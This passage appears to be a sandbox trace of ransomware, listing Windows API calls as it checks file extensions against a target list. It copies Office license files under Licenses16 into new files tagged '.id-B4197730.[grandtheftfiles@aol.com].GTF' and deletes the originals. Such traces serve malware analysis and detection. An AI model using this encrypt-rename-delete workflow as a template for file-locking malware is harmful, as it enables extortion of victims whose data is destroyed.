	[0168.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0168.968] lstrlenW (lpString=".dbf") returned 4
	[0168.969] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0168.969] lstrlenW (lpString=".1cd") returned 4
	[0168.969] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76
	[0168.969] lstrlenW (lpString=".jpg") returned 4
	[0168.969] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.969] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0168.969] lstrlenW (lpString="AccessVL_MAK-ul-phn.xrm-ms") returned 26
	[0168.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0169.002] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=19926) returned 1
	[0169.002] CloseHandle (hObject=0x534) returned 1
	[0169.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms")) returned 0x220
	[0169.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0169.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0169.004] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.004] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0169.005] GetLastError () returned 0x0
	[0169.005] ReadFile (in: hFile=0x534, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x4dd6, lpOverlapped=0x0) returned 1
	[0169.008] WriteFile (in: hFile=0x3dc, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x4de0, lpOverlapped=0x0) returned 1
	[0169.009] ReadFile (in: hFile=0x534, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.009] WriteFile (in: hFile=0x3dc, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x108, lpOverlapped=0x0) returned 1
	[0169.009] SetEndOfFile (hFile=0x3dc) returned 1
	[0169.009] CloseHandle (hObject=0x3dc) returned 1
	[0169.009] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.009] SetEndOfFile (hFile=0x534) returned 1
	[0169.014] CloseHandle (hObject=0x534) returned 1
	[0169.014] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0169.015] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms")) returned 1
	[0169.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0169.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0169.016] lstrlenW (lpString=".doc") returned 4
	[0169.016] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0169.016] lstrlenW (lpString=".docx") returned 5
	[0169.016] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0169.016] lstrlenW (lpString=".pdf") returned 4
	[0169.016] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0169.016] lstrlenW (lpString=".xls") returned 4
	[0169.016] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0169.016] lstrlenW (lpString=".xlsx") returned 5
	[0169.016] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0169.016] lstrlenW (lpString=".ppt") returned 4
	[0169.016] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0169.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0169.016] lstrlenW (lpString=".zip") returned 4
	[0169.016] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0169.016] lstrlenW (lpString=".rar") returned 4
	[0169.016] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0169.016] lstrlenW (lpString=".bz2") returned 4
	[0169.016] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0169.016] lstrlenW (lpString=".7z") returned 3
	[0169.016] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0169.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0169.016] lstrlenW (lpString=".dbf") returned 4
	[0169.017] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0169.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0169.017] lstrlenW (lpString=".1cd") returned 4
	[0169.017] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0169.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0169.017] lstrlenW (lpString=".jpg") returned 4
	[0169.017] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0169.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0169.017] lstrlenW (lpString=".doc") returned 4
	[0169.017] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0169.017] lstrlenW (lpString=".docx") returned 5
	[0169.017] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0169.017] lstrlenW (lpString=".pdf") returned 4
	[0169.017] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0169.017] lstrlenW (lpString=".xls") returned 4
	[0169.017] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0169.017] lstrlenW (lpString=".xlsx") returned 5
	[0169.017] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0169.017] lstrlenW (lpString=".ppt") returned 4
	[0169.017] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0169.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0169.017] lstrlenW (lpString=".zip") returned 4
	[0169.017] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0169.017] lstrlenW (lpString=".rar") returned 4
	[0169.017] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0169.017] lstrlenW (lpString=".bz2") returned 4
	[0169.017] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0169.017] lstrlenW (lpString=".7z") returned 3
	[0169.017] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0169.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0169.017] lstrlenW (lpString=".dbf") returned 4
	[0169.017] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0169.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0169.018] lstrlenW (lpString=".1cd") returned 4
	[0169.018] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0169.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76
	[0169.018] lstrlenW (lpString=".jpg") returned 4
	[0169.018] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.018] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0169.018] lstrlenW (lpString="client-issuance-root-bridge-test.xrm-ms") returned 39
	[0169.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0169.021] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=3219) returned 1
	[0169.021] CloseHandle (hObject=0x534) returned 1
	[0169.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms")) returned 0x220
	[0169.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0169.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0169.022] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.022] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0169.023] GetLastError () returned 0x0
	[0169.023] ReadFile (in: hFile=0x534, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0xc93, lpOverlapped=0x0) returned 1
	[0169.024] WriteFile (in: hFile=0x3dc, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0xca0, lpOverlapped=0x0) returned 1
	[0169.025] ReadFile (in: hFile=0x534, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.025] WriteFile (in: hFile=0x3dc, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x122, lpOverlapped=0x0) returned 1
	[0169.025] SetEndOfFile (hFile=0x3dc) returned 1
	[0169.026] CloseHandle (hObject=0x3dc) returned 1
	[0169.026] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.026] SetEndOfFile (hFile=0x534) returned 1
	[0169.028] CloseHandle (hObject=0x534) returned 1
	[0169.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0169.029] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms")) returned 1
	[0169.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0169.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0169.030] lstrlenW (lpString=".doc") returned 4
	[0169.030] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0169.030] lstrlenW (lpString=".docx") returned 5
	[0169.030] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0169.030] lstrlenW (lpString=".pdf") returned 4
	[0169.030] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0169.030] lstrlenW (lpString=".xls") returned 4
	[0169.030] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0169.030] lstrlenW (lpString=".xlsx") returned 5
	[0169.030] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0169.030] lstrlenW (lpString=".ppt") returned 4
	[0169.030] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0169.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0169.030] lstrlenW (lpString=".zip") returned 4
	[0169.030] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0169.030] lstrlenW (lpString=".rar") returned 4
	[0169.030] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0169.030] lstrlenW (lpString=".bz2") returned 4
	[0169.030] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0169.030] lstrlenW (lpString=".7z") returned 3
	[0169.030] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0169.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0169.030] lstrlenW (lpString=".dbf") returned 4
	[0169.030] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0169.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0169.030] lstrlenW (lpString=".1cd") returned 4
	[0169.030] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0169.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0169.030] lstrlenW (lpString=".jpg") returned 4
	[0169.030] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0169.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0169.031] lstrlenW (lpString=".doc") returned 4
	[0169.031] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0169.031] lstrlenW (lpString=".docx") returned 5
	[0169.031] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0169.031] lstrlenW (lpString=".pdf") returned 4
	[0169.031] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0169.031] lstrlenW (lpString=".xls") returned 4
	[0169.031] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0169.031] lstrlenW (lpString=".xlsx") returned 5
	[0169.031] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0169.031] lstrlenW (lpString=".ppt") returned 4
	[0169.031] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0169.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0169.031] lstrlenW (lpString=".zip") returned 4
	[0169.031] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0169.031] lstrlenW (lpString=".rar") returned 4
	[0169.031] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0169.031] lstrlenW (lpString=".bz2") returned 4
	[0169.031] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0169.031] lstrlenW (lpString=".7z") returned 3
	[0169.031] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0169.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0169.031] lstrlenW (lpString=".dbf") returned 4
	[0169.031] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0169.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0169.031] lstrlenW (lpString=".1cd") returned 4
	[0169.031] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0169.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89
	[0169.031] lstrlenW (lpString=".jpg") returned 4
	[0169.031] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.032] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0169.032] lstrlenW (lpString="client-issuance-root.xrm-ms") returned 27
	[0169.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0169.033] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=3103) returned 1
	[0169.033] CloseHandle (hObject=0x534) returned 1
	[0169.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms")) returned 0x220
	[0169.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0169.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0169.033] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.033] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0169.034] GetLastError () returned 0x0
	[0169.034] ReadFile (in: hFile=0x534, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0xc1f, lpOverlapped=0x0) returned 1
	[0169.036] WriteFile (in: hFile=0x3dc, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xc20, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0xc20, lpOverlapped=0x0) returned 1
	[0169.037] ReadFile (in: hFile=0x534, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.037] WriteFile (in: hFile=0x3dc, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x10a, lpOverlapped=0x0) returned 1
	[0169.037] SetEndOfFile (hFile=0x3dc) returned 1
	[0169.037] CloseHandle (hObject=0x3dc) returned 1
	[0169.037] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.037] SetEndOfFile (hFile=0x534) returned 1
	[0169.040] CloseHandle (hObject=0x534) returned 1
	[0169.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0169.040] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms")) returned 1
	[0169.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0169.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0169.041] lstrlenW (lpString=".doc") returned 4
	[0169.041] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0169.041] lstrlenW (lpString=".docx") returned 5
	[0169.041] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0169.041] lstrlenW (lpString=".pdf") returned 4
	[0169.041] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0169.041] lstrlenW (lpString=".xls") returned 4
	[0169.041] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0169.041] lstrlenW (lpString=".xlsx") returned 5
	[0169.041] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0169.041] lstrlenW (lpString=".ppt") returned 4
	[0169.041] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0169.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0169.041] lstrlenW (lpString=".zip") returned 4
	[0169.041] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0169.041] lstrlenW (lpString=".rar") returned 4
	[0169.041] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0169.041] lstrlenW (lpString=".bz2") returned 4
	[0169.041] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0169.041] lstrlenW (lpString=".7z") returned 3
	[0169.041] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0169.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0169.041] lstrlenW (lpString=".dbf") returned 4
	[0169.041] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0169.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0169.041] lstrlenW (lpString=".1cd") returned 4
	[0169.041] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0169.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0169.041] lstrlenW (lpString=".jpg") returned 4
	[0169.041] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0169.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0169.201] lstrlenW (lpString=".doc") returned 4
	[0169.201] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0169.202] lstrlenW (lpString=".docx") returned 5
	[0169.202] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0169.202] lstrlenW (lpString=".pdf") returned 4
	[0169.202] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0169.202] lstrlenW (lpString=".xls") returned 4
	[0169.202] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0169.202] lstrlenW (lpString=".xlsx") returned 5
	[0169.202] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0169.202] lstrlenW (lpString=".ppt") returned 4
	[0169.202] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
